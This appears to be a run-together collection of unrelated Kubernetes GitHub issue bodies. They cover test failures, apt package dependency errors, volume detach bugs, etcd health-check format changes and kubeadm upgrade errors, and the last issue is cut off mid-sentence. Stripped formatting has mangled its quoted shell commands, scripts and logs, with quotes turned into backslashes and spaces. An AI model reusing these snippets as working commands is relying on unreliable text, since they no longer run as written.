failing job\r    gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r    gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r \r    failing test\r   sig-instrumentation  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster is failing in sig-release-master-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1547 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=instrumentation&job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel\r this test has been consistently failing since  5/16 and here are the  commit changes  https://github.com/kubernetes/kubernetes/compare/dc3b127c1...9dee8190d \r \r  / /  /milestone v1.11\r @kubernetes/sig-instrumentation-bugs \r \r cc @jberkus @tpepper\r \r /assign @directxman12 \r \r @directxman12 @brancz  we are seeing consistent e2e tests failing in sig-release-master-upgrade jobs. can you please triage this as  let us know if we can resolve it by code flush  5/29 ?\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i wanted to install the  kubelet  package from the ubuntu apt repo   http://apt.kubernetes.io kubernetes-xenial/main amd64   which failed because of a dependency onto  kubernetes-cni  = 0.6.0   which does not exist anymore:\r \r    \r root@test-local ~   apt install kubelet=1.11.3-00 \r reading package lists... done\r building dependency tree       \r reading state information... done\r some packages could not be installed. this may mean that you have\r requested an impossible situation or if you are using the unstable\r distribution that some required packages have not yet been created\r or been moved out of incoming.\r the following information may help to resolve the situation:\r \r the following packages have unmet dependencies:\r  kubelet : depends: kubernetes-cni  = 0.6.0  but 0.6.0-02 is to be installed\r e: unable to correct problems, you have held broken packages.\r    \r \r same happens for  kubelet=1.12.1-02, kubelet=1.11.2-00, kubelet=1.11.1-00, kubelet=1.11.0-00 .\r the  kubelet=1.12.0-00  package is not available anymore so i cant test that.  i did create kubernetes/kubeadm 1160 for the  =1.12.0-00  issue \r ,\r   what you expected to happen  :\r \r installation to work\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the following on an ubuntu box:\r \r    \r  apt-get update && apt-get install -y apt-transport-https                                                                                                                                                       \r  curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -                                                                                                                                  \r  cat <<eof >/etc/apt/sources.list.d/kubernetes.list                                                                                                                                                             \r  deb http://apt.kubernetes.io/ kubernetes-xenial main                                                                                                                                                           \r  eof                                                                                                                                                                                                              \r  apt-get update                                                                                                                                                                                                 \r  apt-get install -y kubelet\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

format \ %d” is unavailable in low version of git :\r    \r  root@k1 lib   pwd\r /root/go/src/k8s.io/kubernetes/hack/lib\r  root@k1 lib   cat version.sh \r ...\r  40     if the kubernetes source was exported through git archive, then\r  41     we likely don't have a git tree, but these magic values may be filled in.\r  42   if    '$format:%%$' == \ %\    ; then\r  43     kube_git_commit='$format:%h$'\r  44     kube_git_tree_state=\ archive\ \r  45       when a 'git archive' is exported, the '$format:%d$' below will look\r  46       something like 'head -> release-1.8, tag: v1.8.3' where then 'tag: '\r  47       can be extracted from it.\r  48     if    '$format:%d$' =~ tag:\\  v ^ , +    ; then            <======\r  49      kube_git_version=\ ${bash_rematch 1 }\ \r  50     fi\r  51   fi\r ...\r    \r \r affected version:\r current master branch and others\r \r

currently the ttl is set to: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/controller_utils.go l44  in theory it can be infinite, but if by some chance  user error/bug  a pod gets orphaned the controller will wait 5m before giving up. it can give up much sooner in most situations. one way aroud this would be to set the timeout to something like:  numpods/ watches per second  + padding .   since we currently don't have an accurate way to track watch latency we need to calculate these value empirically. the comment indicates that watches per second is 10 but it should be set based on the theoretical limit of pods in the cluster, which depends on the number of nodes and allowed pods per node.   this probably involves opening up a watch on all nodes in the rc manager and only paying attention to adds/deletes  since node udpates are really frequent . it also involves determining watches per second for buckets like 100 nodes, 500 nodes, 1000 nodes etc.   if we did this, we'd notice a wedged rc in under 10s in the simple case of 3 nodes and a few orphaned pods.   this would be nice to have for 1.2, i'll try to get to it but anyone with cycles should jump in.

the client was 1.2.0 and server was 1.2.4  kc get endpoints shared-e2etest-0-phx --namespace test --watch name                   endpoints                                                           age shared-e2etest-0-phx   172.16.86.42:8080,172.16.86.43:8080,172.16.86.44:8080 + 3 more...   2d error from server: too old resource version: 1416148  1585264

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/512/  failed:  k8s.io  secrets should be able to mount in a volume regardless of a different secret existing with same name in different namespace {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:70 expected error:     < errors.errorstring | 0xc420fb8c40>: {         s: \ failed to get logs from pod-secrets-03998031-b49d-11e6-985f-0242ac110005 for secret-volume-test: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-secrets-03998031-b49d-11e6-985f-0242ac110005 \ ,     }     failed to get logs from pod-secrets-03998031-b49d-11e6-985f-0242ac110005 for secret-volume-test: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-secrets-03998031-b49d-11e6-985f-0242ac110005  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2169

similar to  25625, kubernetes needs to support enforcing of node taint/drain/cordon commands through a selector continuously applied to the nodes on the server-side. currently the way to apply these commands to a set of nodes is to get nodes and iterate on the client-side. this will not work for the scenario where cluster autoscaler is continuously adding/removing new nodes.\r \r it should be possible to cordon or apply other scheduling constraints to a set of _existing_ nodes matching the selector s , as well as the _new_ nodes that will be added in the future, matching the selector s .\r \r for example:\r \r     kubectl cordon --selector cloud.google.com/gke-nodepool=old-node-pool\r     \r     kubectl taint nodes -l cloud.google.com/gke-nodepool=new-node-pool key1=value1:noschedule

before the kubelet features covered by feature flags:\r \r - rotatekubeletservercertificate\r - rotatekubeletclientcertificate\r \r reach ga, there should be a kubelet flag to enable  or disable as the case may be  certificate rotation so that a cluster configured without a working signer will not attempt certificate rotation.

 \r currently, we have already support fsgroup for volume mount, why not support fsowner？\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r one of the cluster worker nodes was deleted from openstack. \r pods running on this node have been rescheduled on different nodes but got stuck in containercreating. it's stuck for 20+ minutes until action like restarting controller manager is taken  it can't reconcile without manual intervention . see at the end for actions that can fix it.\r \r   what you expected to happen  :\r pod should be started correctly on a different node, with volumes attached to it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - use k8s 1.7.0 with openstack provider\r - deploy https://gist.github.com/kars7e/2e4597e854fb952b098b5470120bebdf to the cluster\r - delete the node from the cluster by deleting the backing instance from openstack\r \r   anything else we need to know?  :\r the underlying issue is that cinder volumes are getting dettached when instance is deleted, but k8s is not registering this fact, and is throwing:\r \r   multi-attach error for volume \ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\  volume is already exclusively attached to one node and can't be attached to another \r \r it seems that manager attempts the detach, but is not able to handle the fact that volume is in available state  k8s-node-2 is the node that has been deleted : \r \r  {\ log\ :\ e0805 19:36:33.196285       6 nestedpendingoperations.go:262  operation for \\\ \\\\\\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\\\\\ \\\  failed. no retries permitted until 2017-08-05 19:37:37.196173574 +0000 utc  durationbeforeretry 1m4s . error: detachvolume.detach failed for volume \\\ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\\\   uniquename: \\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\   on node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  : can not detach volume kubernetes-dynamic-pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c, its status is available.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196396348z\ } \r \r after inspecting the pod, following events are registered  note, this pod is eventually started because controller manager has been rebooted :\r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpath\t\ttype\t\treason\t\t  \tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t-------------\t\t--------\t------\t\t\t-------\r   11m\t\t11m\t\t1\tdefault-scheduler\t\t\t\t\t\t\t\t\tnormal\t\tscheduled\t  \tsuccessfully assigned webapp-staging-3564021476-tq2dc to k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\r   11m\t\t11m\t\t1\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-bw55f\ \r   11m\t\t2m\t\t5144\tattachdetach\t\t\t\t\t\t\t\t\t\twarning\t\tfailedattachvolume\tmulti-attach error for volume \ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\  volume is already exclusively attached to one node and can't be attached to another\r   9m\t\t2m\t\t4\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\t\t\t\twarning\t\tfailedmount\t  \tunable to mount volumes for pod \ webapp-staging-3564021476-tq2dc_default 63941f31-7a14-11e7-bd74-fa163eae2160 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ webapp-staging-3564021476-tq2dc\ . list of unattached/unmounted volumes= mypvc \r   9m\t\t2m\t\t4\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\t\t\t\twarning\t\tfailedsync\t  \terror syncing pod\r   1m\t\t1m\t\t1\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\ \r   1m\t\t1m\t\t1\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\tspec.containers{nginx}\tnormal\t\tpulled\t\t  \tcontainer image \ nginx:1.7.9\  already present on machine\r   1m\t\t1m\t\t1\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\tspec.containers{nginx}\tnormal\t\tcreated\t\t  \tcreated container\r   1m\t\t1m\t\t1\tkubelet, k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\tspec.containers{nginx}\tnormal\t\tstarted\r    \r \r also an excerpt from controller manager log  with --v=4 :\r \r    {\ log\ :\ i0805 19:36:33.072522       6 openstack.go:590  blockstorage api version probing has found a suitable supported api version: v2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.072564943z\ }\r {\ log\ :\ i0805 19:36:33.156440       6 deployment_controller.go:562  started syncing deployment \\\ default/webapp-staging\\\   2017-08-05 19:36:33.156430897 +0000 utc \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.156586574z\ }\r {\ log\ :\ i0805 19:36:33.157358       6 progress.go:231  queueing up deployment \\\ webapp-staging\\\  for a progress check now\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.157472884z\ }\r {\ log\ :\ i0805 19:36:33.157409       6 deployment_controller.go:564  finished syncing deployment \\\ default/webapp-staging\\\   954.263µs \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.157484805z\ }\r {\ log\ :\ e0805 19:36:33.196088       6 openstack_volumes.go:263  can not detach volume kubernetes-dynamic-pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c, its status is available.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196206222z\ }\r {\ log\ :\ e0805 19:36:33.196104       6 attacher.go:394  error detaching volume \\\ 9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\  from node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\ : can not detach volume kubernetes-dynamic-pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c, its status is available.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196226294z\ }\r {\ log\ :\ i0805 19:36:33.196143       6 actual_state_of_world.go:478  add new node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  to nodestoupdatestatusfor\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196230931z\ }\r {\ log\ :\ i0805 19:36:33.196157       6 actual_state_of_world.go:486  report volume \\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\  as attached to node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196234322z\ }\r {\ log\ :\ e0805 19:36:33.196285       6 nestedpendingoperations.go:262  operation for \\\ \\\\\\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\\\\\ \\\  failed. no retries permitted until 2017-08-05 19:37:37.196173574 +0000 utc  durationbeforeretry 1m4s . error: detachvolume.detach failed for volume \\\ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\\\   uniquename: \\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\   on node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  : can not detach volume kubernetes-dynamic-pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c, its status is available.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.196396348z\ }\r {\ log\ :\ i0805 19:36:33.212211       6 node_status_updater.go:76  could not update node status. failed to find node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  in nodeinformer cache. error: 'node \\\ k8s-node-2-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  not found'\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.212356492z\ }\r {\ log\ :\ w0805 19:36:33.212444       6 reconciler.go:262  multi-attach error for volume \\\ pvc-7da59477-7a13-11e7-a1c3-fa163ec6b87c\\\   uniquename: \\\ kubernetes.io/cinder/9dd4110b-e9f2-4eba-a2b5-22b6082b2c1b\\\   from node \\\ k8s-node-1-31217f04-941c-48f2-b36e-8a97a3bf7515\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-05t19:36:33.2\r    \r \r  note:  following operations will resolve this issue:\r - restarting active controller manager\r - attaching the volume in question to random instance\r - deleting & recreating the pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d70ffb940d12c648df2b6647580c150b8f113704\ , gittreestate:\ clean\ , builddate:\ 2017-08-04t07:14:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r openstack mitaka\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.2 lts  xenial xerus \r - kernel  e.g.  uname -a  :\r linux k8s-master-1-31217f04-941c-48f2-b36e-8a97a3bf7515 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kargo  kubespray \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r we have some services whose endpoints are not getting updated when the set of backing pods change. we see in the controller-manager logs repeated attempts to update the endpoints, and they all fail with the message\r    \r i1208 17:36:04.198106       1 endpoints_controller.go:375  error syncing endpoints for service \ xxx-namespace/xxx-servicename\ : operation cannot be fulfilled on endpoints \ xxx-endpointsname\ : the object has been modified; please apply your changes to the latest version and try again\r    \r and it eventually gives up:\r    \r w1208 17:37:26.161953       1 endpoints_controller.go:380  dropping service \ xxx-namespace/xxx-service\  out of the queue: operation cannot be fulfilled on endpoints \ xxx-service\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r it seems to happen only to some services, but it happens to those consistently, every time. deleting and recreating the service \ resolves\  the problem.\r \r we tried watching the key in etcd with  etcdctl -o json watch /registry/services/endpoints/xxx-namespace/xxx-service -f  and  nothing  is modifying it, i.e. we see no reason why the resource should be out of date.\r \r we see in the api server logs that it is returning http 409 to the controller manager.\r \r   what you expected to happen  :\r the endpoints get correctly updated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r don't know.\r \r \r   anything else we need to know?  :\r we're running this cluster on etcd 2 still, which we suspect might be related. we have another cluster that is very similar to this one that is running against etcd 3 which does not exhibit this behavior. as far as i can tell etcd 2 is still officially supported, therefore i'd expect to not have issues of this kind.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t19:11:02z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3+coreos.0\ , gitcommit:\ f96beb2e925b0bb4e6ac0de746c7155dcd8fdc10\ , gittreestate:\ clean\ , builddate:\ 2017-11-13t10:18:37z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on-prem, bare metal _and_ vms\r - os  e.g. from /etc/os-release : coreos stable\r - kernel  e.g.  uname -a  :  4.13.9-coreos \r - install tools: custom ansible playbooks\r - others: etcd 2.3.7\r

flaky job: pr:pull-kubernetes-e2e-kubeadm-gce  flakes in the past week:   11    consistency:   79.20%         flakiest tests by flake count: | test | flake count | | --- | --- | | timeout | 7 |       previously closed issues for this job flaking:  52952     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

the etcd exposes health information via http at /health in json format. the latest released etcd 3.3 changed in /health endpoint response value. this change can be found from  upgrade etcd from 3.2 to 3.3  https://github.com/coreos/etcd/blob/91996607a347b3bb3bfdfd6543ab66b5a5da0694/documentation/upgrades/upgrade_3_3.md .\r before\r    shell\r $ curl http://localhost:2379/health\r {\ health\ : \ true\ }\r    \r after\r    shell\r $ curl http://localhost:2379/health\r {\ health\ :true}\r \r   or\r {\ health\ :false,\ errors\ : \ nospace\  }\r    \r but when it integrated with kubernetes 1.9.1, the kubernetes component status check will report an error when it checks etcd health status. kubernetes should follow the new change in etcd.\r \r    shell\r $ etcdctl -v\r etcdctl version: 3.3.0-rc.1\r api version: 2\r \r $ curl -l http://127.0.0.1:2379/health\r {\ health\ :true}\r    \r \r    shell\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ kubectl get componentstatuses\r name                 status      message           error\r scheduler            healthy     ok\r controller-manager   healthy     ok\r etcd-0               unhealthy   {\ health\ :true}   json: cannot unmarshal bool into go struct field etcdhealth.health of type string\r

this is an unbrella issue for k8s-testgrid.appspot.com/sig-release-master-upgrade\r \r there are multiple test failures, and i will open individual issues for each failing test\r \r / /  /status approved-for-milestone\r   \r cc @jdumars @jberkus \r and also cc @krousey who's our upgrade expert

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when trying to upgrade kubernetes from v1.9.6 to v1.10.0 using kubeadm, it throws a version error and doesn't upgrade.\r \r    \r   kubeadm upgrade apply v1.10.0\r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade/version  you have chosen to change the cluster version to \ v1.10.0\ \r  upgrade/versions  cluster version: v1.9.6\r  upgrade/versions  kubeadm version: v1.9.6\r  upgrade/version  fatal: the --version argument is invalid due to these fatal errors:\r \r \t- specified version to upgrade to \ v1.10.0\  is at least one minor release higher than the kubeadm minor release  10 > 9 . such an upgrade is not supported\r \r please fix the misalignments highlighted above and try upgrading again\r     \r \r   what you expected to happen  :\r \r successfully upgrade to kubernetes v1.10.0 via kubeadm\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubeadm upgrade apply v1.10.0 \r \r   anything else we need to know?  :\r this issue may be related to  61764. i raised a separate issue because this seems to be on a broader/general scope.\r \r   environment  :  baremetal \r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r current instruction state that kubernetes requires 3gb to build in docker on osx. attempting to build   make quick-release   with 3gb, 3.5gb, and 4.0gb fail.\r \r   what you expected to happen  :\r \r i expect osx users to be able to build kubernetes, and the instructions to indicate that at least 4.5gb of memory are required.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on osx setup docker with 3gb memory, and then attempt to build kubernetes   make quick-release   and it will fail.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : upstream/master\r - os  e.g. from /etc/os-release : osx - 10.13.4\r

from https://github.com/googlecloudplatform/kubernetes/pull/6949  @smarterclayton said: \ anyone can call the node api. if cadvisor can't report anything, and the node already has something, should the node overwrite the capacity? i would argue it should set zero if nothing is set, but if it's explicitly set  perhaps from the last time  it shouldn't be reset. not a massively strong feeling, but if cadvisor is dead i don't know that we should be making the node completely unschedulable  by forcing capacity to 0 \

i should document how the kubernetescluster tag implies ownership, and how if you want to modify a security group or iam policy you should add a second one  where only one is tagged   see e.g. https://github.com/kubernetes/kubernetes/pull/21987 issuecomment-191923383 but this has come up a lot.

in kubernetes 1.2.0, the message  aws.go:745  could not determine public ip from aws metadata.  appears every 10 sec in the kubelet logs.  i don't think it is necessary to try to determine a public ip which doesn't exist every 10 sec  the instance is on a private subnet  nor to notify about it every 10 sec.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-slow/5926/  failed:  k8s.io  services should be able to change the type and ports of a service  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:720 may 23 20:28:31.142: could not reach udp service through 104.155.138.139:80 after 2m0s: timed out waiting for the condition

using this script:       !/bin/bash    clean-up from previous run curl -xdelete http://localhost:8080/apis/myorg1.org/v1/namespaces/default/org1types curl -xdelete http://localhost:8080/apis/myorg2.org/v1/namespaces/default/org2types   kubectl delete org1type instance1   kubectl delete org1type instance12   kubectl delete org2type instance2   kubectl delete org2type instance22 kubectl delete thirdpartyresource org1-type.myorg1.org kubectl delete thirdpartyresource org2-type.myorg2.org  set -ex  kubectl get thirdpartyresources    first create the new resource types kubectl create -f - <<-eof     apiversion: extensions/v1beta1     kind: thirdpartyresource     metadata:       name: org1-type.myorg1.org     versions:     - name: v1 eof  kubectl create -f - <<-eof     apiversion: extensions/v1beta1     kind: thirdpartyresource     metadata:       name: org2-type.myorg2.org     versions:     - name: v1 eof    verify everything is there curl http://localhost:8080/apis/myorg1.org/v1/namespaces/default/org1types curl http://localhost:8080/apis/myorg2.org/v1/namespaces/default/org2types  curl -xpost -hcontent-type:application/json -d \ @-\  http://localhost:8080/apis/myorg1.org/v1/namespaces/default/org1types <<eof { \ apiversion\ : \ myorg1.org/v1\ ,   \ kind\ : \ org1type\ ,   \ metadata\ : {     \ name\ : \ instance1\    } } eof  curl -xpost -hcontent-type:application/json -d \ @-\  http://localhost:8080/apis/myorg2.org/v1/namespaces/default/org2types <<eof { \ apiversion\ : \ myorg2.org/v1\ ,   \ kind\ : \ org2type\ ,   \ metadata\ : {     \ name\ : \ instance2\    } } eof    new create instances of each type kubectl create -f - <<-eof { \ apiversion\ : \ myorg1.org/v1\ ,   \ kind\ : \ org1type\ ,   \ metadata\ : {     \ name\ : \ instance12\    } } eof  kubectl create -f - <<-eof { \ apiversion\ : \ myorg2.org/v1\ ,   \ kind\ : \ org2type\ ,   \ metadata\ : {     \ name\ : \ instance22\    } } eof      i'm seeing some random errors.  1 - running the above script it fails for me on the  kubectl create -f -  near the bottom when it tries to create  instance12 . notice that i had already successfully created  instance1  which of the same type:      + kubectl create -f - error validating \ stdin\ : error validating data: api version \ myorg2.org/v1\  isn't supported, only supports api versions  \ rbac.authorization.k8s.io/v1alpha1\  \ federation/v1beta1\  \ apps/v1alpha1\  \ authorization.k8s.io/v1beta1\  \ extensions/v1beta1\  \ policy/v1alpha1\  \ authentication.k8s.io/v1beta1\  \ myorg1.org/v1\  \ v1\  \ autoscaling/v1\  \ batch/v1\  \ batch/v2alpha1\  \ certificates/v1alpha1\  \ componentconfig/v1alpha1\  ; if you choose to ignore these errors, turn validation off with --validate=false      sometimes if i wait a while  like over a minute  then the two  kubectl -f  commands at the bottom work.  2 - at the top, if i comment out the  curl -xdelete  commands and uncomment the  kubectl delete  commands, it fails with:      $ kubectl delete org1type instance1 error: unknown api group/version: myorg1.org/v1, kind=org1type      which is interesting, because when i give it a totally unknown type i get this:      $ kubectl delete orgzzz instance1 error: resource s  were provided, but no name, label selector, or --all flag specified      which leads me to think that it does know about the org1type but fails late in the processing for some reason.  i said these errors we random, because there have been times when i would run this script and then go back later and try some of the failing commands manually and they would work - almost like there's a timing/async issue going on - but since i couldn't reliably reproduce those all i can do is just mention it but can't provide a solid testcase to show it, yet.  additionally, i've seen cases where the  kubectl create -f   for one of the instances  would fail and then i would try again and it would complain that the resource i'm trying to create already exists.  i'm wondering if this is due to the original create actually working but then  kubectl  failing on some kind of verification step afterwards and that's the error being shown - but that's just a guess.  i'm running these tests with pr  24299 but i saw seeing similar results even from master.  ping @uruddarraju @lavalamp

in  30094 discussion, @mikedanese commeted, related to not wanting to move the  kubeconfig  field into  kubeletconfiguration :  > we should divide config into three buckets: >  > how do i find a trust the apiserver > how does the apiserver trust me > everything else >  > these configs have orthogonal concerns, different writer and should be sourced from three different files. they should have no dependencies.   and, my impression is that, presently, the first category is  --api-servers  and the second is  --kubeconfig .  if  kubeletconfiguration  is intended, in addition to being used for remote config, to be a complete replacement to flags via on-disk config, then the locations of files for the first two buckets would need to be in the third bucket.  the concern with doing this is that  kubeconfig  and  kubeletconfiguration  are orthogonal, and each deserve their own top-level flag; that the kubelet should not have to depend on  kubeletconfiguration  to know where to find  kubeconfig .   @mikedanese recommended the following:  > my ideal cli api is two flags on each component  --kubeconfig, --componentconfig  > with good default paths so they never have to be used  let's hash this out. imo it might be easier to focus on getting down to these two flags on the kubelet, rather than eliminating flags entirely.  /cc @mikedanese @vishh @smarterclayton

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : osx, gke\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gke\r -   kernel    e.g.  uname -a  : gke\r -   install tools  : gke\r -   others  :\r \r   what happened  :\r i added a cluster into federation, say, \ cluster-1\ , w/ an endpoint address, e.g. http://123.123.123.123. i later deleted cluster-1 and also the secret. i then re-added cluster-1 back, but now, with a new endpoint, e.g., 